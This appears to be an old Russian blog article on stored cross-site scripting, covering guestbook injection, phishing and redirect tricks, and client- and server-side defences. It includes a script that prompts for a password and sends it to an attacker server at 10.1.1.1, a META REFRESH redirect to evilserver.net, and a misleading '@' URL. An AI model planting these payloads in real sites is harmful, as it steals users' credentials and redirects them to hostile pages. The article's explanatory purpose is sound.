• Категории
  • Подписка
  • Разместить статью
24/05/11 6 3379 Хакинг с помощью WEB-клиентов
-

Взломы с использованием внедрения сценариев

Одним из слабых мест клиентов Web-приложений, является возможность внедрения сценариев (cross-site scripting). В основе взломов данного типа лежит внедрение сценариев на сервер, которые впоследствии используют для выполнения команд на машине клиента через его браузер. Выполнение кода на машине клиента является наиболее ве­роятным результатом взлома такого типа. При небольших доработках программа, осуществ­ляющая подобный взлом, может собирать данные о всех пользователях, посещавших этот узел.

Лучшим способом объяснения принципа взломов данного типа будет пример, описы­вающий поиск и использование таких слабых мест или «дыр». Внедрение сценария возможно в тех случаях, когда последующим пользователям доступны данные, введенные предшествующими пользо­вателями, например, гостевая книга, где каждый пользователь может видеть имена других пользователей, зарегистрировавшихся ранее. Простейший путь проверки уз­ла на наличие опасности такого типа — ввод следующего текста в поле ввода Web-страницы.

<script type="text/javascript">alert("Hello");</script>

В примере используется дескриптор <SCRIPT>, но также могут использоваться дескрип­торы <object>, <applet> и <embed>. Web-браузер пользователя, посетившего гостевую книгу, встретив в тексте страницы запись, сделанную предыдущим пользователем, выполнит этот код. В приведенном примере сценарий JavaScript, введенный первым пользователем, у последующих посетителей будет вызывать появление простого окна с надписью Hello.

Если этот нехитрый трюк сработал, появляется реальная возможность проведения полно­ценного взлома с использованием внедренных сценариев. Для этого хакеру необходимо соз­дать специальный сервер с соответствующим программным обеспечением, который будет проводить сбор информации о посетителях узла. Ниже представлен пример сценария, кото­рый мог бы обманным путем получать пароли пользователя.

<script type="text/javascript">var password=prompt
('Your session has expired. Please enter your password to continue.',
'');
location.href="https://10.1.1.1/pass.cgi?passwd='+password;
</script>

Как видно из примера, на специальном сервере с адресом 10.1.1.1 находится сценарий pass.cgi, предназначенный для получения паролей пользователя и возвращения ответов пользователю. При этом в браузере появляется диалоговое окно ввода пароля.

Приведенный пример достаточно прост На практике же используются такие серьезные ме­тоды, как похищение файлов cookie, а также более изощренные технологии сбора информации.

Для проведения взлома с использованием перекрестных сценариев могут использоваться также дескрипторы <МЕТА REFRESH> и <IFRAME>. Дескриптор <МЕТА REFRESH> может использоваться для переадресации браузера пользователя на другой Web-узел. Таким образом, если злоумышленник смог внедрить в страницу свой код, содержащий дескриптор <МЕТА REFRESH>, то он может заставить браузер пользователя переходить на любую нужную ему стра­ницу, этот дескриптор выглядит следующим образом:

< МЕТА HTTP-EQUIV=Refresh CONTENT="10; URL=http://evilserver.net/">

Дескриптор <IFRAME> создает в окне браузера новый кадр, который может быть использован для исполнения любого активного содержимого или переадресации на любой другой адрес.

Кроме того, для автоматического перенаправления браузера пользователя на другой узел можно использовать следующий прием:

http://bigbank.com/script.asp&amp;account=123@evilsite.com

На первый взгляд, данный URL-адрес ведет на страницу bigbank.com, однако, если по­смотреть внимательно, в адресе можно заметить символ @, который указывает браузеру игно­рировать всю левую часть строки. После этого символа находится реальный адрес, на кото­рый попадает пользователь после щелчка на такой ссылке, а левая часть URL будет восприня­та браузером, как имя пользователя (дело в том, что многие узлы используют стандартный синтаксис URL вида http://имя:пароль@адрес.узла).

Очевидно, что для успешного проведения взлома необходимо заставить пользователя со­вершить такие действия, как щелчок по определенной ссылке или переход на определенную Web-страницу, в которую ранее был внедрен вредоносный код. Вероятно, по этой причине использование взломов такого типа выглядит слишком сложным, а вероятность успешного взлома может показаться слишком низкой, однако не следует забывать, что многие крупные компании, работающие в Internet (например, E*TRADE), когда-то стали жертвами взломов с исполь­зованием внедренных сценариев. Поэтому приведенные факты должны заставить задуматься системных администраторов крупных компаний о безопасности.

Меры противодействия, выполняемые на стороне клиента

Для устранения опасности взлома с помощью активного содержимого пользователю рекомендуется отключать в браузере поддержку Active Scripting, что позволит из­бежать взломов при посещении Web-узлов и получении писем с опасным содержимым, с помо­щью которого хакер может легко получить любую информацию с машины пользователя.

Также, если возможности браузера позволяют это сделать, необходимо отключить испол­нение HTML-дескрипторов <МЕТА REFRESH> и <IFRAME>.

И, как сказано в публикациях службы Computer Emergency Response Team (CERT) (раздел «Дополнительная информация»), для уменьшения риска взлома с помощью активного содержимого пользователям рекомендуется воздерживаться от «беспорядочного просмотра Web-страниц». Дикое наставление, особенно сейчас, раньше как-то оно еще имело смысл. Тем не менее, сегодня средний пользователь Internet должен понимать, что щел­чок по ссылке на страницу или просмотр Web-страницы или электронного письма, в котором используется HTML при включенной у пользователя поддержке ActiveX, может привести к достаточно плачевным результатам.

Меры противодействия, выполняемые на стороне сервера

При создании Web-приложений разработчики всегда должны помнить о проверке данных, вводимых пользователем. По крайней мере, обязательно нужно отфильтровывать из данных, вводимых пользователем, угловые скобки < и >, которые можно использовать для внедрения ак­тивного содержимого. Это позволит избежать ввода хакерами в страницу активного содержи­мого (сценариев), которое может быть использовано для похищения важной информации.

Некоторые версии браузеров Netscape поддерживают использование сце­нариев в HTML-коде, заключенных в фигурные скобки & {} .Например, строка & {alert (‘document .cookie‘);} отображает cookie, имеющиеся на Webузле, без использования дескриптора <script>.

Дополнительную информацию о возможностях взлома с помощью внедрения сценари­ев можно узнать на Web-узле службы Computer Emergency Response Team no адресу: http://www.cert.org/ (см. www.cert.org).


6 комментариев на «“Взломы с использованием внедрения сценариев”»

  1. vse-v-inete.ru:

    Обычно, на сайтах есть тег nosctipt. Который запрещает внедрение Ява, как, например — Вконтакте.

    • Аноним:

      не совсем так, теги используются для того чтоб выводить сообщение о том что браузер не поддерживает скрипты…

  2. Спасибо за ценную информацию, вообще безопасность всегда должна быть на высшем уровне, но в то же время, только хакеры-ламеры не обойдут её!

  3. Интересно. Буду знать.

  4. Интересно. Буду знать.

  5. Интересно. Буду знать.

Добавить комментарий

Яндекс.Метрика